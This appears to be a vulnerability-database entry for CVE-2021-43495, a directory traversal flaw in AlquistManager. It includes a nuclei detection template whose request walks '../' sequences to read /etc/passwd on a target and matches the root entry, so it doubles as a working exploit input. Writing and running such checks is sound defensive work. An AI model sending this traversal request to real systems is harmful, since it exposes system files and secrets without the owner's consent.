HexBrain

Browse / CVEs / CVE-2021-43495

CVE-2021-43495· alquistai / alquist· CWE-22

AlquistManager Local File Inclusion

highseverity
7.5CVSS score
9.2%likelihood of exploitation, next 30 days
95%of all CVEs are less likely
Readycheck to confirm it

AlquistManager branch as of commit 280d99f43b11378212652e75f6f3159cde9c1d36 is affected by a directory traversal vulnerability in alquist/IO/input.py. This attack can cause the disclosure of critical secrets stored anywhere on the system and can significantly aid in getting remote code access.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information or remote code execution.

Fix

Ensure that user-supplied input is properly validated and sanitized before being used in file inclusion functions.

How to confirm it

Send: GET {{BaseURL}}/asd/../../../../../../../../etc/passwd
Positive when: matches /root:.*:0:0:/

Run it with nuclei: nuclei -id CVE-2021-43495 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2021-43495

info:
  name: AlquistManager Local File Inclusion
  author: pikpikcu
  severity: high
  description: AlquistManager branch as of commit 280d99f43b11378212652e75f6f3159cde9c1d36 is affected by a directory traversal vulnerability in alquist/IO/input.py. This attack can cause the disclosure of critical secrets stored anywhere on the system and can significantly aid in getting remote code access.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information or remote code execution.
  remediation: |
    Ensure that user-supplied input is properly validated and sanitized before being used in file inclusion functions.
  reference:
    - https://github.com/AlquistManager/alquist/issues/43
    - https://nvd.nist.gov/vuln/detail/CVE-2021-43495
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-43495
    cwe-id: CWE-22
    epss-score: 0.09193
    epss-percentile: 0.95374
    cpe: cpe:2.3:a:alquistai:alquist:2017-06-13:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: alquistai
    product: alquist
  tags: cve2021,cve,lfi,alquist,alquistai,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/asd/../../../../../../../../etc/passwd"

    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

References

Use this check only on systems you are authorised to test. Where the data comes from